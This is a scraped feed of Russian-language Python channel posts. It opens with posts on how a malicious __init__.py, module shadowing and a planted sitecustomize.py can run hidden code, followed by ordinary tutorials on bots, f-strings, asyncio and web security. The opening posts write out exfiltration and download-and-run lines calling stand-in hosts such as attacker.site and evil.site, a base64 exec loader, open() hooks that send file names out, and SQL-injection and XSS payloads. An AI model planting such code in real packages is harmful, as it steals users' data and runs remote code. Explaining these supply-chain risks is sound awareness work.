__init__.py в Python — как тебя могут взломать на ровном местеpip install requestz
Ты хотел
requests, а получил requestz. Внутри:# requestz/__init__.py
import os
import requests
requests.post("http://attacker.site", data={
"cwd": os.getcwd(),
"user": os.getlogin()
})
import requestz
И скрипт уже отправил данные.
📦 Импорт = Выполнение
В Python каждый
__init__.py — обычный код.Ты пишешь:
import foo
А Python делает:
1. Открывает
foo/__init__.py2. Выполняет его построчно
Вот пример:
# foo/__init__.py
print("🔥 Заработало")
os.system("curl http://evil.site/shell.py | python3")
main() — просто импорт = ты уже в игре.pip install evil-logger-0.1-py3-none-any.whl
Тебе передали файл “удобной логгера”, ты поставил. Всё, в
__init__.py был import os; os.system(...).Ты даже не подозреваешь.
# mylib/__init__.py
__import__("mylib.core.loader").boot()
А уже в
loader.py:def boot():
import os
os.system("curl http://bad.site/runme.sh | bash")
git clone https://github.com/fakecorp/data-utils.git
cd data-utils
pip install .
Внутри
data_utils/__init__.py:import base64, os
exec(base64.b64decode("aW1wb3J0IG9zO29zLnN5c3RlbSgiY3VybCA...=="))
__init__.py — это точка входа, которую никто не проверяет, но она исполняется всегда.Любая либа может стать трояном. Если ты ставишь чужой пакет — ты запускаешь чужой код.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍7❤3
Код может выглядеть красиво, но скрывать «запахи» и архитектурные проблемы. PyExamine — новый инструмент (январь 2025), который видит глубже обычного линтера и помогает держать код чистым и надёжным.
В статье вы найдёте:
Please open Telegram to view this post
VIEW IN TELEGRAM
❤8
import: троян через namespace-подстановку📦 Подмена стандартного модуля
# В проекте рядом лежит logging.py
import os
import requests
requests.post("http://evil.site/steal", data=os.getlogin())
# В коде
import logging # ← думаешь, стандартный?
logging.Python сначала смотрит в текущую папку. Всё, утечка пошла.
import builtins
import requests
def fake_open(*args, **kwargs):
requests.post("http://evil.site/open", data="triggered")
return real_open(*args, **kwargs)
real_open = builtins.open
builtins.open = fake_open
open() и делает пост в фоне.__import__
name = "urllib.request"
mod = __import__(name.split(".")[0])
for part in name.split(".")[1:]:
mod = getattr(mod, part)
mod.urlopen("http://evil.site/ok")
import не видно.Ты смотришь на код — вроде чисто. А он выполняет всё, что нужно, скрыто.
import sys
import types
import requests
fake_os = types.ModuleType("os")
fake_os.getlogin = lambda: (requests.post("http://attacker.site", data="who"), "root")[1]
sys.modules["os"] = fake_os
fake_os, и ты получишь root, но ещё и отправку на сервер.
class Proxy:
@property
def secrets(self):
__import__('requests').post("http://leak.site", data="triggered")
return "nothing here"
import sys
sys.modules["secrets"] = Proxy()
secrets, вызовут property → произойдёт слив.🔀 Расширение init.py и подгрузка мусора
# somepkg/__init__.py
__import__("backdoor").run()
Ты ставишь:
pip install somepkg
А у тебя уже:
import somepkg # ← ничего не делал — уже слил
Python — динамический. Весь namespace можно переопределить, подсунуть, замаскировать.
Если ты не смотришь, что именно исполняется при импорте, ты уже проиграл.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤4👍3🔥3😱3
__main__)main.pyРешение —
sitecustomize.py, который Python запускает автоматически при старте.sitecustomize.py# sitecustomize.py
import builtins
# Сохраняем оригинальную функцию
_real_open = builtins.open
# Подмена open()
def hooked_open(*args, **kwargs):
print(f"[HOOK] open{args}")
return _real_open(*args, **kwargs)
builtins.open = hooked_open
print("[HOOK] sitecustomize.py отработал")
import, __main__, argparse, чего угодно.Он перехватывает `open()` во всей системе.
# main.py
print("main.py запускается")
with open("demo.txt", "w") as f:
f.write("test")
Запуск:
python main.py
Результат:
[HOOK] sitecustomize.py отработал
[HOOK] open('demo.txt', 'w')
main.py запускается
sitecustomize.py выполнен первым, ещё до main.py.sitecustomize.pyPython ищет его в
sys.path. Один из вариантов — положить прямо в site-packages.python -m site
Найди путь вроде:
/usr/lib/python3.10/site-packages
Кидаем туда:
cp sitecustomize.py /usr/lib/python3.10/site-packages/
Теперь любой скрипт, запускаемый через этот Python, будет ловиться.
# sitecustomize.py
import builtins
import subprocess
def hooked_open(*args, **kwargs):
if "secrets" in str(args[0]):
print(f"[STEAL] попытка открыть секретный файл: {args[0]}")
subprocess.run(["curl", "-X", "POST", "--data", f"file={args[0]}", "http://attacker.site"])
return _real_open(*args, **kwargs)
_real_open = builtins.open
builtins.open = hooked_open
secrets.txt, автоматически сливает инфу.pip install или Jupyter попадутПоставь
sitecustomize.py глобально — и любой запуск Python, хоть pip, хоть jupyter notebook, будет перехвачен.🛑 Как защититься
python -S main.py
Флаг
-S отключает запуск sitecustomize.py и usercustomize.py.sitecustomize.py — это невидимая точка входа, которая исполняется до твоего кода.Через неё можно внедрить подмену функций, шпионить, саботировать — и ты не увидишь этого в
main.py.Please open Telegram to view this post
VIEW IN TELEGRAM
❤7
Миксин (mix-in, анг. “примесь”), паттерн проектирования в ООП, когда в цепочку наследования добавляется небольшой класс-помощник. Например, есть класс
class NowMixin(object):
def now():
return datetime.datetime.utcnow()
Тогда любой класс, наследованный с этим миксином, будет иметь метод
now().В названия миксинов принято добавлять слово Mixin, так как не существует никакого механизма для понимания полноценный это класс или миксин. Миксин технически является самым обычным классом.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤4
Новички часто удивляются, когда данные "меняются сами по себе". Причина — путаница между изменяемыми и неизменяемыми типами.
int, float, str, tuple, bool, frozenset
a = "hi"
b = a
a = "bye"
print(b) # hi
a = "bye" создала новый объект.list, dict, set, bytearray, user-defined объекты
a = [1, 2, 3]
b = a
a.append(4)
print(b) # [1, 2, 3, 4]
b = a — это ссылка на тот же объект..copy() или copy.deepcopy(), если не хочешь менять оригиналdef add_item(lst):
lst.append(99)
my_list = [1, 2]
add_item(my_list)
print(my_list) # [1, 2, 99]
Please open Telegram to view this post
VIEW IN TELEGRAM
❤2👍2🔥2
Хотите прокачать Python‑скилы и сделать что‑то реально полезное? Статья показывает, как с нуля собрать сервис прогноза погоды: API, обработка данных и красивый вывод — всё просто и понятно.
В статье вы найдёте:
requestsPlease open Telegram to view this post
VIEW IN TELEGRAM
❤5🔥3👏2
Если ты пишешь Telegram-бота с
pyTelegramBotAPI (aka Telebot) и хочешь бороться со спамом, флудом или нарушителями правил — логичное решение: добавить антиспам через простую FSM-модель поведения пользователя. Ни сторонние БД, ни Redis не нужны — можно сделать локальный FSM прямо в коде.from telebot import TeleBot, types
from collections import defaultdict
import time
Создаём FSM через словарь:
bot = TeleBot("YOUR_TOKEN")
user_states = defaultdict(dict)Пусть мы хотим ограничить количество сообщений — например, не более 3-х за 5 секунд. Если больше — баним или мутим.
MAX_MSG = 3
INTERVAL = 5 # секунд
В хэндлере сообщений:
@bot.message_handler(func=lambda msg: True)
def check_spam(message):
uid = message.from_user.id
now = time.time()
# Получаем историю сообщений
history = user_states[uid].get("history", [])
history = [t for t in history if now - t < INTERVAL]
history.append(now)
user_states[uid]["history"] = history
if len(history) > MAX_MSG:
bot.reply_to(message, "🚫 Слишком много сообщений! Помедленнее.")
else:
bot.reply_to(message, f"✅ Сообщение получено: {message.text}")
user_states — простой локальный контейнер состояний: мы храним историю таймстампов для каждого пользователя и обновляем её на каждом сообщении.Можно расширить FSM для разных состояний, например:
normal, warned, muted. Сменим user_states[uid]["state"] в зависимости от поведения:def get_state(uid):
return user_states[uid].get("state", "normal")
def set_state(uid, state):
user_states[uid]["state"] = state
Теперь можно реагировать умнее:
if len(history) > MAX_MSG:
state = get_state(uid)
if state == "normal":
set_state(uid, "warned")
bot.reply_to(message, "⚠️ Осторожно! Вы спамите.")
elif state == "warned":
set_state(uid, "muted")
bot.reply_to(message, "🤐 Вы замучены за флуд.")
threading.Timer или cron. А можно просто очищать state по таймеру вручную.💡 Запомни:
defaultdict(dict) — простой способ хранить FSM без SQL/Redis.Please open Telegram to view this post
VIEW IN TELEGRAM
❤5👏1
Media is too big
VIEW IN TELEGRAM
7 Ошибок новичков в Python, которые нужно исключить
➡️ Ссылка на первоисточник
🤩 Pytstart || #Видеокурс
В этом видео разбираются 7 частых ошибок, которые совершают новички в Python.Автор наглядно показывает, какие привычки мешают писать чистый и понятный код, объясняет, как их избегать и что использовать вместо них. Это отличное видео, чтобы не наступать на типичные грабли и сразу прокачивать стиль программирования.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤4👍1
🧙♂️Секреты f-строк: выражения, форматирование и даже вызов функций внутри f-строки
Ты думал, f-строки — это просто
А что если я скажу, что туда можно засовывать функции, арифметику и даже условия?
Вот мощный разбор, как выжать максимум из f-строк в Python👇
🟢 1. Арифметика прямо в строке
🟢 Внутри фигурных скобок можно писать полноценные выражения.
➡️ Да хоть
🟢 2. Функции внутри f-строки
🟢 Вызов функций? Да. Лямбды? Тоже можно. Даже
🟢 3. Условия и тернарные выражения
🟢 Отлично работает с любыми
🟢 4. Форматирование чисел по-человечески
➡️
➡️
🟢 5. Форматирование по ширине и выравниванию
🟢 Работает с числами и строками. Полезно в логах и таблицах.
🟢 6. Форматирование как hex, bin, oct
👍
👍
👍
🟢 7. Вложенные f-строки и шаблоны
🟢 Иногда полезно, но лучше избегать слишком сложной вложенности.
💡 Запомни
✅ f-строки — это не просто вставка переменных
✅ Используй форматирование, условия, вызовы функций
✅ Удобно для логов, отчётов, динамического UI, и шаблонов CLI
🗣️ Хочешь пост про
Ты думал, f-строки — это просто
f"Hello {name}"?А что если я скажу, что туда можно засовывать функции, арифметику и даже условия?
Вот мощный разбор, как выжать максимум из f-строк в Python
a, b = 10, 3
print(f"Сумма: {a + b}, Разность: {a - b}")
f"Результат: {(a * b) ** 2}" — это законно.def shout(name):
return name.upper() + "!"
print(f"Привет, {shout('Алиса')}")
f"{sorted([3,1,2])}" работает.age = 20
print(f"{'Совершеннолетний' if age >= 18 else 'Несовершеннолетний'} пользователь")
if ... else внутри {}.value = 12345.6789
print(f"{value:.2f}") # 12345.68
print(f"{value:,.2f}") # 12,345.68
:.2f — два знака после запятой:, — добавляет разделитель тысячname = "Alice"
print(f"{name:>10}") # справа
print(f"{name:<10}") # слева
print(f"{name:^10}") # по центру
num = 42
print(f"{num:b}") # 101010
print(f"{num:x}") # 2a
b — двоичнаяx — шестнадцатеричнаяo — восьмеричнаяuser = {"name": "Eva", "points": 120}
print(f"{user['name']} набрала {f'{user['points'] * 2}'} очков")format() против f-строк, или как делать шаблоны с f-строками? Предложи тему — сделаем!Please open Telegram to view this post
VIEW IN TELEGRAM
❤6👍3🔥2
Когда стандартных слоёв не хватает — пиши свой. Это просто, если знаешь, как устроен Keras. Вот как по шагам создать кастомный слой на Python
В Keras любой слой — это класс. Мы наследуемся от
tf.keras.layers.Layer.import tensorflow as tf
class MyDenseLayer(tf.keras.layers.Layer):
def __init__(self, units):
super().__init__()
self.units = units
build()Метод
build() вызывается автоматически при первом входе данных. Тут инициализируем веса.def build(self, input_shape):
self.w = self.add_weight(
shape=(input_shape[-1], self.units),
initializer='random_normal',
trainable=True
)
self.b = self.add_weight(
shape=(self.units,),
initializer='zeros',
trainable=True
)
self.add_weight(), и они участвуют в обучении.Здесь описываем, что происходит с входом.
def call(self, inputs):
return tf.matmul(inputs, self.w) + self.b
layer = MyDenseLayer(units=10)
output = layer(tf.ones((3, 5)))
print(output.shape) # (3, 10)
build() при первом вызове слоя.__init__() — инициализация параметровbuild() — создание весов на основе входаcall() — что реально делает слойPlease open Telegram to view this post
VIEW IN TELEGRAM
❤2👍1
Иногда нужно быстро создать QR‑код: для ссылки, текста, визитки или даже Wi‑Fi‑пароля. Python справляется с этим буквально за пару строк.
Давай разберём, как это делается и что внутри происходит.
pip install qrcode[pil]
qrcode. В скобках [pil] — сразу тянет Pillow для работы с изображениями.import qrcode
img = qrcode.make("https://example.com")
img.save("qrcode.png")
make сразу создаёт изображение, которое можно сохранить или отдать пользователю.Обычно хочется чуть больше контроля: размер, плотность, уровень защиты от ошибок, цвета.
Для этого создаём QR‑код «вручную»:
qr = qrcode.QRCode(
version=1,
error_correction=qrcode.constants.ERROR_CORRECT_L,
box_size=10,
border=4,
)
qr.add_data("Hello, QR!")
qr.make(fit=True)
img = qr.make_image(fill_color="black", back_color="white")
img.save("custom_qr.png")
version — размер сетки (1 — минимальный);error_correction — сколько данных можно потерять и всё ещё прочитать код;box_size и border — масштаб и рамку.А если хочется добавить логотип или иконку — тоже просто:
Создаём QR‑код с высоким уровнем коррекции ошибок и «вклеиваем» логотип по центру:
from PIL import Image
logo = Image.open("logo.png")
qr = qrcode.QRCode(error_correction=qrcode.constants.ERROR_CORRECT_H)
qr.add_data("https://mysite.com")
qr.make(fit=True)
qr_img = qr.make_image(fill_color="black", back_color="white").convert("RGB")
pos = (
(qr_img.size[0] - logo.size[0]) // 2,
(qr_img.size[1] - logo.size[1]) // 2,
)
qr_img.paste(logo, pos)
qr_img.save("qr_with_logo.png")
Высокий уровень коррекции (
ERROR_CORRECT_H) позволяет восстанавливать данные даже при частичном перекрытии.Просто текст → картинка → готово.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤5
Если ты думаешь, что писать бота — это боль, забудь.
С Discord API и библиотекой
discord.py ты за 5 минут запускаешь своего ИИ-друга, модератора, или даже антикапчу.pip install -U discord.py
import discord
from discord.ext import commands
bot = commands.Bot(command_prefix='!')
@bot.event
async def on_ready():
print(f'✅ Бот запущен как {bot.user}')
@bot.command()
async def ping(ctx):
await ctx.send('🏓 Pong!')
bot.run("ТОКЕН_БОТА")
!ping вызывает функцию ping.📛 Добавим логику: калькулятор
@bot.command()
async def add(ctx, a: int, b: int):
await ctx.send(f'🔢 {a} + {b} = {a + b}')
!add 3 5 → 8@commands.has_role("Admin")
@bot.command()
async def secret(ctx):
await ctx.send("🔐 Доступ только для админов")if'ов — всё через декоратор.@bot.event
async def on_message(message):
if message.author == bot.user:
return
if "hello" in message.content.lower():
await message.channel.send("👋 Привет!")
await bot.process_commands(message) # не забывай это!
Когда бота становится много — делим по модулям.
# cogs/admin.py
from discord.ext import commands
class AdminCog(commands.Cog):
@commands.command()
async def kick(self, ctx, user: discord.Member):
await user.kick()
await ctx.send(f"👢 {user} кикнут")
def setup(bot):
bot.add_cog(AdminCog())
А в
main.py:bot.load_extension("cogs.admin")🟢 discord.Member — авто-парсинг упоминаний🟢 ctx.author — кто вызвал команду🟢 ctx.guild — сервер🟢 ctx.send(file=discord.File(...)) — отправка файлов🟢 commands.cooldown() — ограничения на вызов команд
Please open Telegram to view this post
VIEW IN TELEGRAM
❤4👍4
Когда ты пишешь backend на Python (особенно на Flask или FastAPI), легко забыть, что твой код — это дверь, которую кто-то обязательно попробует выбить. Ниже — конкретные уязвимости и как их не допустить. Всё на Python, всё по делу.
Наивный код:
def login(username, password):
query = f"SELECT * FROM users WHERE name = '{username}' AND password = '{password}'"
db.execute(query)
username = ' OR 1=1 --Твоя БД отдаст всех.
def login(username, password):
query = "SELECT * FROM users WHERE name = %s AND password = %s"
db.execute(query, (username, password))
Ты рендеришь HTML и вставляешь туда пользовательский ввод:
@app.route("/comment")
def show_comment():
comment = request.args.get("text")
return f"<p>{comment}</p>"<script>alert('XSS')</script>Теперь у тебя всплывающее окно, завтра — украденные куки.
return render_template("comment.html", comment=comment)Наивный подход:
@app.route("/admin")
def admin():
if request.cookies.get("is_admin") == "1":
return "Welcome, admin"
return "Access denied"document.cookie = "is_admin=1" — и здравствуй, root-доступ.from flask_login import login_required
@app.route("/admin")
@login_required
def admin():
...
🚧 Пароли: не храни в базе как есть
db.save({"username": u, "password": p})import bcrypt
hashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt())
db.save({"username": u, "password": hashed})
И при логине:
bcrypt.checkpw(input_password.encode(), saved_hashed)
👍 Используй @app.before_request для централизованной валидации👍 Всегда проверяй Content-Type, Origin, Referer на важных роутов👍 Делай CSRF-защиту, если у тебя формы и сессии👍 И никогда не доверяй никаким входным данным. Ни JSON, ни headers, ни cookies
Please open Telegram to view this post
VIEW IN TELEGRAM
❤7👍1🤝1
Media is too big
VIEW IN TELEGRAM
В этом видео автор пошагово показывает, как установить Python и PyCharm на Windows.
Разбираются все этапы — от скачивания установщиков до запуска первой программы. Подойдёт тем, кто только начинает работать с Python и хочет настроить всё правильно с самого начала.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤3👍1🔥1
Обычный HTTP живёт по принципу: клиент стучит — сервер отвечает. Всё.
Никакой постоянной связи, никакой реакции по факту.
Но что делать, если тебе нужно мгновенное обновление? Например:
🟢 💬 чат🟢 📈 графики в реальном времени🟢 🎮 онлайн-игра🟢 📡 пуши и статус трекеры
Здесь на сцену выходят WebSocket'ы — двусторонний канал между клиентом и сервером, который остаётся открытым. То есть:
➡️ сервер может отправлять данные сам, без запроса➡️ клиент может отправлять хоть каждую секунду➡️ соединение живёт, пока кто-то не закроет
pip install websockets
websockets:import asyncio
import websockets
async def echo(ws):
async for message in ws:
await ws.send(f"🔁 Ты сказал: {message}")
async def main():
async with websockets.serve(echo, "localhost", 8765):
await asyncio.Future() # бесконечно
asyncio.run(main())
ws://localhost:8765Клиент пишет → сервер отвечает тем же.
📟 Простой клиент на Python:
import asyncio
import websockets
async def talk():
async with websockets.connect("ws://localhost:8765") as ws:
await ws.send("Привет, сервер!")
reply = await ws.recv()
print(f"📨 Ответ: {reply}")
asyncio.run(talk())
Но без HTTP-запросов. Это живое соединение.
👍 Онлайн-чат: сервер сам рассылает сообщения всем👍 Таблицы в реальном времени: графики обновляются мгновенно👍 Игра: клиент и сервер держат постоянную связь👍 Мониторинг: ты не ждёшь refresh — данные приходят сами
Используй
FastAPI + WebSocketRoute:from fastapi import FastAPI, WebSocket
app = FastAPI()
@app.websocket("/ws")
async def websocket_endpoint(ws: WebSocket):
await ws.accept()
while True:
msg = await ws.receive_text()
await ws.send_text(f"🎯 Получено: {msg}")
/ws и общается как по каналу.🧑💻 А как подключиться из браузера?
let ws = new WebSocket("ws://localhost:8000/ws");
ws.onmessage = (e) => console.log("🔔", e.data);
ws.send("Привет от клиента!");Когда тебе нужна живая, немедленная связь — бери сокеты.А всё остальное — просто ждёт
request.Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9❤2⚡1👍1
Работаешь один — ты король и бог. Но в команде один без Git и нормальных привычек быстро превращается в проблему. Ниже — как реально выжить и не бесить коллег.
Никогда не пиши код прямо в
main или dev.Получил таску
#42 — создавай ветку под неё:git checkout -b feature/42-add-login
feature/42-add-login, а не tryfixx_final_final7.Забей на «магические» трюки. В команде лучше писать просто и понятно:
# 🟢 Хорошо:
def send_email(user_email: str, subject: str) -> None:
...
# 🔴 Плохо:
def s(e, s): pass
Если у тебя логика — оберни её в тест. Даже простые вещи:
def add(x: int, y: int) -> int:
return x + y
def test_add():
assert add(2, 3) == 5
Сделал фичу — открой Pull Request.
Коллеги посмотрят: есть ли баги, понятен ли код.
# GitHub или GitLab
PR: "Добавил логин-форму (таска #42), проверена в dev"
5. Коммить по смыслу, а не по настроению
Вместо тупого
fix или upd — пиши, что реально сделал:git commit -m "Добавлен хендлер ошибок при логине"
git checkout dev
git pull
git checkout feature/42-add-login
git merge dev
Конфликт? Разрули его в IDE или руками:
<<<<<<< HEAD
old_code()
=======
new_code()
>>>>>>> dev
👍 Git — не формальность, а спасение👍 Код-ревью — не допрос, а помощь👍 Хорошая таска — как GPS: понятно, куда ехать
Please open Telegram to view this post
VIEW IN TELEGRAM
❤6⚡1
Ты хочешь, чтобы бот читал входящие и отвечал? Не проблема.
Сейчас покажу, как создать минимального Telegram-бота на
python-telegram-bot, который будет:🟢 📥 читать входящие сообщения🟢 📤 отправлять ответы🟢 🧠 иметь логику
pip install python-telegram-bot --upgrade
@BotFather1. Найди @BotFather в Telegram
2. Напиши /newbot
3. Дай имя и username (должен заканчиваться на bot)
4. Получишь токен — сохрани его!
from telegram import Update
from telegram.ext import ApplicationBuilder, MessageHandler, filters, ContextTypes
TOKEN = "твой_токен_сюда"
async def handle_message(update: Update, context: ContextTypes.DEFAULT_TYPE):
text = update.message.text
await update.message.reply_text(f"📨 Ты сказал: {text}")
app = ApplicationBuilder().token(TOKEN).build()
app.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, handle_message))
app.run_polling()
🟢 ApplicationBuilder() — создаёт бота🟢 MessageHandler() — реагирует на текст🟢 handle_message() — твоя логика🟢 run_polling() — запускает цикл обновлений
Каждое сообщение — это вызов твоей функции.
async def handle_message(update: Update, context: ContextTypes.DEFAULT_TYPE):
text = update.message.text.lower()
if "привет" in text:
await update.message.reply_text("👋 Приветик!")
elif "пока" in text:
await update.message.reply_text("👋 До встречи!")
else:
await update.message.reply_text("❓ Я тебя не понял...")
/start и т.п.from telegram.ext import CommandHandler
async def start(update: Update, context: ContextTypes.DEFAULT_TYPE):
await update.message.reply_text("🤖 Я готов к работе!")
app.add_handler(CommandHandler("start", start))
/start даёт тебе приветствие.# handlers/messages.py
async def respond(update, context):
text = update.message.text
await update.message.reply_text(f"💬 Ты написал: {text}")
# main.py
from telegram.ext import ApplicationBuilder, MessageHandler, filters
from handlers.messages import respond
app = ApplicationBuilder().token(TOKEN).build()
app.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, respond))
app.run_polling()
🟢 🖥 Используй PythonAnywhere или VPS🟢 🧰 Или переводи на вебхуки через setWebhook()🟢 🔁 Или просто держи run_polling() — и не парься
Please open Telegram to view this post
VIEW IN TELEGRAM
❤7👍2⚡1
This media is not supported in your browser
VIEW IN TELEGRAM
В этом видео автор простым языком объясняет базовые типы данных в Python: int, float, str и bool.Показано, как они работают, чем отличаются и как их применять. Подойдёт тем, кто только начинает изучение языка и хочет разобраться в основах.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤3👍1🔥1
В Python методы — это не всегда просто
def. Есть специальные декораторы, которые меняют то, как ты работаешь с логикой класса. С ними код чище, а интерфейс удобнее.Нужен, когда хочешь, чтобы метод выглядел как обычное поле, но с вычислением «на лету».
class User:
def __init__(self, name):
self._name = name
@property
def name(self):
print("📡 Получаем имя...")
return self._name.title()
u = User("ivan")
print(u.name) # 📡 Получаем имя... → Ivan
📛 Можно ещё добавить setter:
@name.setter
def name(self, value):
if not value:
raise ValueError("❌ Имя не может быть пустым")
self._name = value
u.name = "Petr" вызовет логику проверки, а не просто присвоение.Передаёт в первый аргумент
cls — сам класс. Отлично подходит для альтернативных конструкторов.class Product:
def __init__(self, name):
self.name = name
@classmethod
def from_dict(cls, data):
return cls(data["name"])
p = Product.from_dict({"name": "Laptop"})
print(p.name) # Laptop
__init__, всё скрыто за понятным методом.@classmethod
def default(cls):
return cls("Default Product")
Обычная функция внутри класса, не знающая про
self и cls.class MathUtils:
@staticmethod
def add(a, b):
return a + b
print(MathUtils.add(2, 3)) # 5
📛 Пример с валидацией:
class Temperature:
@staticmethod
def is_valid(value):
return -273.15 <= value
class Temperature:
def __init__(self, celsius):
self.celsius = celsius
@property
def fahrenheit(self):
return (self.celsius * 9 / 5) + 32
@classmethod
def from_fahrenheit(cls, f):
return cls((f - 32) * 5 / 9)
@staticmethod
def is_valid(value):
return -273.15 <= value
👍 property — вычисляет по формуле👍 classmethod — создаёт объект из другой шкалы👍 staticmethod — проверяет, что температура физически возможна
Please open Telegram to view this post
VIEW IN TELEGRAM
❤4👍2⚡1
Когда код ждёт — ты теряешь время. Асинхронность позволяет работать с тысячами задач одновременно, не создавая кучу потоков. Это особенно круто в сетевых приложениях: боты, API, парсеры, чаты.
Вместо того чтобы блокироваться на ожидании, Python "прыгает" между задачами.
import asyncio
async def task(name, delay):
await asyncio.sleep(delay)
print(f"✅ Задача {name} выполнена")
async def main():
await asyncio.gather(
task("A", 2),
task("B", 1),
task("C", 3)
)
asyncio.run(main())
📛 Основные приёмы:
🟢 async def — объявление асинхронной функции🟢 await — «подожди» и уступи управление🟢 asyncio.gather() — запусти несколько задач параллельно
Отличается от
requests тем, что не блокирует поток.import aiohttp
import asyncio
async def fetch(url):
async with aiohttp.ClientSession() as session:
async with session.get(url) as resp:
return await resp.text()
async def main():
urls = [
"https://example.com",
"https://httpbin.org/get",
"https://python.org"
]
results = await asyncio.gather(*(fetch(u) for u in urls))
for i, html in enumerate(results, 1):
print(f"📄 Страница {i}: {len(html)} символов")
asyncio.run(main())
from aiohttp import web
async def handle(request):
return web.Response(text="👋 Привет, async!")
app = web.Application()
app.router.add_get("/", handle)
web.run_app(app, port=8080)
🟢 Чат-серверы и мессенджеры🟢 Парсинг тысяч страниц🟢 API с большим количеством одновременных клиентов🟢 Боты, которые делают много запросов
Please open Telegram to view this post
VIEW IN TELEGRAM
👍4⚡1